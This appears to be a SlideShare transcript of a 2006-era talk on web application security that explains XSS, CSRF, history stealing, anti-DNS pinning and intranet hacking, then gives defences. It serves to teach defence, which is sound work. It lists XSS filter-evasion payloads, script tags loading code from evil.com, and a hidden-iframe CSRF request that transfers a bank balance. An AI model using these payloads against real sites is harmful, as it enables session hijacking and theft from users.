0
Rich Web App Security
          Keeping your application safe




Jeremiah Grossman                 Joe Walker
  Founder a...
5 Stages of Web
Application Security Grief
           Denial
           Anger
         Bargaining
         Depression
    ...
Network security solutions don't
work for web application security

Telnet


 FTP


 POP

                           App S...
8 out of 10 Websites
         are
     Vulnerable


                       4
The Victims


The companies that host the Applications
The users that use the Applications




                           ...
Building Blocks: XSS

         XSS = Cross Site Scripting


You are at risk of an XSS attack any time you
 allow scripts f...
Building Blocks: XSS

You let the user enter their name
Someone is going to enter their name like this:
Joe<script src="ev...
Making User Input Safe


You filter out ‘<script.*>’ and then you’re safe.
Right?




                                     ...
Making User Input Safe

Actually you also need to filter:
<a href='javascript:danger();'>

<body onload='danger();'>

<p st...
Making User Input Safe
And don’t forget:
<body background="javascript:danger()">

<link rel="stylesheet"
    href="javascr...
Making User Input Safe
And then there’s:
<iframe src='evil.com/danger.html'/>

<meta http-equiv="refresh"
content="0;url=j...
Making User Input Safe

But remember:
<table background="javascript:danger()">

<tr background="javascript:danger()">

<di...
5 Stages of Web
Application Security Grief
           Denial
           Anger
         Bargaining
         Depression
    ...
Making User Input Safe
It’s made 1000 times worse by browsers being
able to make sense of virtually anything.
This:
<a hre...
Making User Input Safe
It’s made 1000 times worse by browsers being
able to make sense of virtually anything.
This:
<a hre...
Making User Input Safe
It’s made 1000 times worse by browsers being
able to make sense of virtually anything.
This:
<a hre...
Making User Input Safe
It’s made 1000 times worse by browsers being
able to make sense of virtually anything.
This: (depen...
Making User Input Safe
And we haven’t got into:
  • Flash (ActionScript ~= JavaScript)
  • SVG (can embed JavaScript)
  • ...
5 Stages of Web
Application Security Grief
           Denial
           Anger
         Bargaining
         Depression
    ...
Building Blocks: CSRF

     CSRF = Cross Site Request Forgery


You are at risk of a CSRF attack whenever you
     assume ...
Building Blocks: CSRF
          bank.com                   evil.com
                                          .
       Wel...
Building Blocks: CSRF
JavaScript is not always required to exploit a
CSRF hole
Often all you need is:
  <iframe src="dange...
Attacks only get more
      Effective
70 new new attack techniques in 2006
Many are small, but they combine in worrying
wa...
6. Hacking RSS Readers


              }                        ⇢
                Aggregators generally               User...
5. Web Worms
If your site that isn’t 100% safe against XSS and CSRF,
users can attack their ‘friends’ with scripts




XHR...
4. Backdooring Media Files

   Many media types are scriptable by design:


   Some are ‘scriptable’ by buffer-overflow:


...
3. History Stealing - Part 1
 I want to know if you visit dodgy.com
 I create a page with a link
    and use a script to r...
3. History Stealing - Part 2

 Point a script tag at a protected HTML
 resource, detect differing replies by differing
 er...
2. Anti-DNS Pinning
The basic attack:
A browser visits evil.com. The DNS lookup gives the real web-
server address.
1 seco...
2. Anti-DNS Pinning
As it is the attack isn’t very useful because:
• The browser thinks the domain is evil.com, so
 cookie...
1. Intranet Hacking
History stealing to enumerate hosts inside the
firewall
Anti-DNS pinning to read HTML from inside
Many ...
5 Stages of Web
Application Security Grief
           Denial
           Anger
         Bargaining
         Depression
    ...
Fixing XSS
             (when HTML is Illegal)

1. Filter inputs by white-listing input characters
  Remember to filter hea...
Fixing XSS
   (when HTML is Legal, and Well Formed)

1. Filter inputs as before
2. Swap characters for entities (as before...
Fixing XSS
(when HTML is Legal, and NOT Well Formed)

1. Find another way to do it / Swap jobs / Find
some other solution ...
Fixing CSRF
Force users to log off
Checking referrer headers doesn’t make things
safe, but it does slow attackers down
Inc...
5 Stages of Web
Application Security Grief
           Denial
           Anger
         Bargaining
         Depression
    ...
Questions?


      Joe Walker                Jeremiah Grossman
http://getahead.org/blog/joe   http://www.whitehatsec.com/
...
Upcoming SlideShare
Loading in...5
×

Rich Web App Security - Keeping your application safe

2,110

Published on

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
2,110
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
60
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Transcript of "Rich Web App Security - Keeping your application safe"

  1. 1. Rich Web App Security Keeping your application safe Jeremiah Grossman Joe Walker Founder and CTO DWR Developer WhiteHat Security Getahead 1
  2. 2. 5 Stages of Web Application Security Grief Denial Anger Bargaining Depression Acceptance 2
  3. 3. Network security solutions don't work for web application security Telnet FTP POP App Servers http(s) Web Servers Database 3
  4. 4. 8 out of 10 Websites are Vulnerable 4
  5. 5. The Victims The companies that host the Applications The users that use the Applications 5
  6. 6. Building Blocks: XSS XSS = Cross Site Scripting You are at risk of an XSS attack any time you allow scripts from someone untrusted into pages from your domain 6
  7. 7. Building Blocks: XSS You let the user enter their name Someone is going to enter their name like this: Joe<script src="evil.com/danger.js"> Then, whoever looks at Joe’s name will execute Joe’s script and become a slave of Joe 7
  8. 8. Making User Input Safe You filter out ‘<script.*>’ and then you’re safe. Right? 8
  9. 9. Making User Input Safe Actually you also need to filter: <a href='javascript:danger();'> <body onload='danger();'> <p style='background-image: url("javascript:danger();")'); <img src='javascript:danger()'/> 9
  10. 10. Making User Input Safe And don’t forget: <body background="javascript:danger()"> <link rel="stylesheet" href="javascript:danger()"/> <style>@import evil.com/danger.js</style> <input type='image' src='javascript:danger()'/> 10
  11. 11. Making User Input Safe And then there’s: <iframe src='evil.com/danger.html'/> <meta http-equiv="refresh" content="0;url=javascript:danger()"> <base href="javascript:danger()"> <frameset> <frame src="javascript:danger()">... 11
  12. 12. Making User Input Safe But remember: <table background="javascript:danger()"> <tr background="javascript:danger()"> <div style="width:expression(danger();)"> <object type="text/x-scriptlet" data="evil.com/danger.js"> 12
  13. 13. 5 Stages of Web Application Security Grief Denial Anger Bargaining Depression Acceptance 13
  14. 14. Making User Input Safe It’s made 1000 times worse by browsers being able to make sense of virtually anything. This: <a href="a.html" link</a> makes perfect sense to a browser. 14
  15. 15. Making User Input Safe It’s made 1000 times worse by browsers being able to make sense of virtually anything. This: <a href="a.html">link makes perfect sense to a browser. 15
  16. 16. Making User Input Safe It’s made 1000 times worse by browsers being able to make sense of virtually anything. This: <a href="a.html >link</a> makes perfect sense to a browser. 16
  17. 17. Making User Input Safe It’s made 1000 times worse by browsers being able to make sense of virtually anything. This: (depending on some encoding tricks) ¼a href="a.html"¾link¼/a¾ makes perfect sense to a browser. 17
  18. 18. Making User Input Safe And we haven’t got into: • Flash (ActionScript ~= JavaScript) • SVG (can embed JavaScript) • .htc (packaged HTML in IE) • XML Data Islands (IE only) • HTML+TIME You can use both <object> and <embed> for many of these 18
  19. 19. 5 Stages of Web Application Security Grief Denial Anger Bargaining Depression Acceptance 19
  20. 20. Building Blocks: CSRF CSRF = Cross Site Request Forgery You are at risk of a CSRF attack whenever you assume that a request containing an authentication header (e.g. cookies) is something the user intended 20
  21. 21. Building Blocks: CSRF bank.com evil.com . Welcome Fred, Thank-you for logging in <iframe width=0 height=0 src="http://bank.com/transfer.cgi?amnt=all&dest=MrEvil"/> 21
  22. 22. Building Blocks: CSRF JavaScript is not always required to exploit a CSRF hole Often all you need is: <iframe src="dangerous_url"> or <img src="dangerous_url"/> or <script src="dangerous_url"> You can’t use XHR because cross-domain rules prevent the request from being sent 22
  23. 23. Attacks only get more Effective 70 new new attack techniques in 2006 Many are small, but they combine in worrying ways Jeremiah’s Top 10: http://jeremiahgrossman.blogspot.com/2006/12/ top-10-web-hacks-of-2006.html The 6 most important ... 23
  24. 24. 6. Hacking RSS Readers } ⇢ Aggregators generally Users get RSS Feeds change the domain the result Hacking RSS and Atom Feed Implementations http://www.cgisecurity.com/papers/HackingFeeds.pdf 24
  25. 25. 5. Web Worms If your site that isn’t 100% safe against XSS and CSRF, users can attack their ‘friends’ with scripts XHR/Flash/Quicktime can be used as a vector Web worms grow much faster than email worms So far, infections have been mostly benign, like how email worms were in the early 90’s ... http://www.whitehatsec.com/downloads/WHXSSThreats.pdf 25
  26. 26. 4. Backdooring Media Files Many media types are scriptable by design: Some are ‘scriptable’ by buffer-overflow: If you are allowing users to upload files, be afraid. JavaScript Malware embedded in everything http://jeremiahgrossman.blogspot.com/2006/09/javascript-malware-embedded-in.html 26
  27. 27. 3. History Stealing - Part 1 I want to know if you visit dodgy.com I create a page with a link and use a script to read the CSS link color: purple:guilty, blue:not guilty A page can quickly check thousands of sites http://ha.ckers.org/weird/CSS-history-hack.html 27
  28. 28. 3. History Stealing - Part 2 Point a script tag at a protected HTML resource, detect differing replies by differing error messages <script src="http://mail.google.com/mail"> http://ha.ckers.org/weird/javascript-website-login-checker.html 28
  29. 29. 2. Anti-DNS Pinning The basic attack: A browser visits evil.com. The DNS lookup gives the real web- server address. 1 second later evil.com creates an iframe to the evil.com and drops the HTTP request The DNS pin is dropped, the browser needs to look up DNS again. This time it gets someone else’s address. The browser reads from the other site, but thinks it is the same domain. 29
  30. 30. 2. Anti-DNS Pinning As it is the attack isn’t very useful because: • The browser thinks the domain is evil.com, so cookies for innocent.com are not sent, cookie protected resources are safe (for now) • But it’s great for Intranet hacking - no cookies are needed to read from 192.168.0.1 or 127.0.0.1 30
  31. 31. 1. Intranet Hacking History stealing to enumerate hosts inside the firewall Anti-DNS pinning to read HTML from inside Many routers / firewalls / etc have default passwords, which an attacker can exploit Use CSRF to alter router / firewall settings http://www.whitehatsec.com/home/resources/presentations/files/javascript_malware.pdf 31
  32. 32. 5 Stages of Web Application Security Grief Denial Anger Bargaining Depression Acceptance 32
  33. 33. Fixing XSS (when HTML is Illegal) 1. Filter inputs by white-listing input characters Remember to filter header names and values 2. Filter outputs for the display environment For HTML: & &amp; < &lt; > &gt; ' &apos; " &quot; Other environments have other special chars 33
  34. 34. Fixing XSS (when HTML is Legal, and Well Formed) 1. Filter inputs as before 2. Swap characters for entities (as before) 3. Swap back whitelist of allowed tags. e.g.: &lt;strong&gt; <strong> 4. Take extra care over attributes: s/&lta href=&quot;([^&]*)&quot;/&gt;/<a href="$1"/> 5. Don’t use regular expressions 34
  35. 35. Fixing XSS (when HTML is Legal, and NOT Well Formed) 1. Find another way to do it / Swap jobs / Find some other solution to the problem 2. Create a tag soup parser to create a DOM tree from a badly formed HTML document Remember to recursively check encodings 3. Create a tree walker that removes all non approved elements and attributes 35
  36. 36. Fixing CSRF Force users to log off Checking referrer headers doesn’t make things safe, but it does slow attackers down Include authentication tokens in the body OWASP servlet filter Double-submit cookie pattern Security Corner: Cross-Site Request Forgeries http://shiflett.org/articles/cross-site-request-forgeries 36
  37. 37. 5 Stages of Web Application Security Grief Denial Anger Bargaining Depression Acceptance 37
  38. 38. Questions? Joe Walker Jeremiah Grossman http://getahead.org/blog/joe http://www.whitehatsec.com/ 38
  1. A particular slide catching your eye?

    Clipping is a handy way to collect important slides you want to go back to later.

×